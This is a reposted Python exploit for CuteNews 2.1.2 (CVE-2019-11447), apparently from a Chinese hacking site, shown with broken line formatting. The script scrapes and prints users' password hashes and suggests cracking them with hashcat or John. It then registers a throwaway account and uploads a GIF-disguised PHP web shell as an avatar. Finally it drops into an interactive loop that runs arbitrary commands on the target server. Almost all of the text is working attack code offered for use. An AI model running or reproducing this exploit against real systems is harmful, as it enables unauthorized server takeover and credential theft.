CuteNews 2.1.2-远程执行代码—Hack之路
•
web漏洞库更新
CuteNews 2.1.2-远程执行代码
#Google Dork:不适用
#日期:2020-09-10
#漏洞作者:Musyoka Ian
#供应商主页:https://cutephp.com/cutenews/downloading.php
#软件链接:https://cutephp.com/cutenews/downloading.php
#版本:CuteNews 2.1.2
#测试于:Ubuntu 20.04,CuteNews 2.1.2
#CVE:CVE-2019-11447# CVE : CVE-2019-11447
#! /bin/env python3
import
requests
from
base64
import
b64decode
import
io
import
re
import
string
import
random
import
sys
banner
=
"""
———————————————————————————–"""
(banner)
(
"[->] Usage python3 expoit.py"
)
()
sess
=
requests.session()
payload
=
"GIF8;\n<?php system($_REQUEST['cmd']) ?>"
ip
=
input
(
"Enter the URL> "
)
def
extract_credentials():
global
sess, ip
url
=
f
"{ip}/CuteNews/cdata/users/lines"
encoded_creds
=
sess.get(url).text
buff
=
io.StringIO(encoded_creds)
chash
=
buff.readlines()
if
"Not Found"
in
encoded_creds:
(
"[-] No hashes were found skipping!!!"
)
return
else
:
for
line
in
chash:
if
"<?php die('Direct call - access denied'); ?>"
not
in
line:
credentials
=
b64decode(line)
try
:
sha_hash
=
re.search(
'"pass";s:64:"(.*?)"'
, credentials.decode()).group(
1
)
(sha_hash)
except
:
pass
def
register():
global
sess, ip
userpass
=
"".join(random.SystemRandom().choice(string.ascii_letters
+
string.digits )
for
_
in
range
(
10
))
postdata
=
{
"action"
:
"register"
,
"regusername"
: userpass,
"regnickname"
: userpass,
"regpassword"
: userpass,
"confirm"
: userpass,
}
register
=
sess.post(f
"{ip}/CuteNews/index.php?register"
, data
=
postdata, allow_redirects
=
False
)
if
302
=
=
register.status_code:
(f
"[+] Registration successful with username: {userpass} and password: {userpass}"
)
else
:
sys.exit()
def
send_payload(payload):
global
ip
token
=
sess.get(f
"{ip}/CuteNews/index.php?mod=main&opt=personal"
).text
signature_key
=
re.search(
'signature_key" value="(.*?)"'
, token).group(
1
)
signature_dsi
=
re.search(
'signature_dsi" value="(.*?)"'
, token).group(
1
)
logged_user
=
re.search(
'disabled="disabled" value="(.*?)"'
, token).group(
1
)
(f
"signature_key: {signature_key}"
)
(f
"signature_dsi: {signature_dsi}"
)
(f
"logged in user: {logged_user}"
)
files
=
{
"mod"
: (
None
,
"main"
),
"opt"
: (
None
,
"personal"
),
"__signature_key"
: (
None
, f
"{signature_key}"
),
"__signature_dsi"
: (
None
, f
"{signature_dsi}"
),
"editpassword"
: (
None
, ""),
"confirmpassword"
: (
None
, ""),
"editnickname"
: (
None
, logged_user),
"avatar_file"
: (f
"{logged_user}.php"
, payload),
"more[site]"
: (
None
, ""),
"more[about]"
: (
None
, "")
}
payload_send
=
sess.post(f
"{ip}/CuteNews/index.php"
, files
=
files).text
(
"============================\nDropping to a SHELL\n============================"
)
while
True
:
()
command
=
input
(
"command > "
)
postdata
=
{
"cmd"
: command}
output
=
sess.post(f
"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php"
, data
=
postdata)
if
404
=
=
output.status_code:
(
"sorry i can't find your webshell try running the exploit again"
)
sys.exit()
else
:
output
=
re.sub(
"GIF8;"
, "", output.text)
(output.strip())
if
__name__
=
=
"__main__"
:
(
"================================================================\nUsers SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\n================================================================"
)
extract_credentials()
(
"================================================================"
)
()
(
"=============================\nRegistering a users\n============================="
)
register()
()
(
"=======================================================\nSending Payload\n======================================================="
)
send_payload(payload)
()
网站地址:https://www.hackzl.cn;发布者:hack之路,转转请注明出处:https://www.hackzl.cn/index.php/2020/09/14/cutenews-2-1-2-%e8%bf%9c%e7%a8%8b%e6%89%a7%e8%a1%8c%e4%bb%a3%e7%a0%81-hack%e4%b9%8b%e8%b7%af/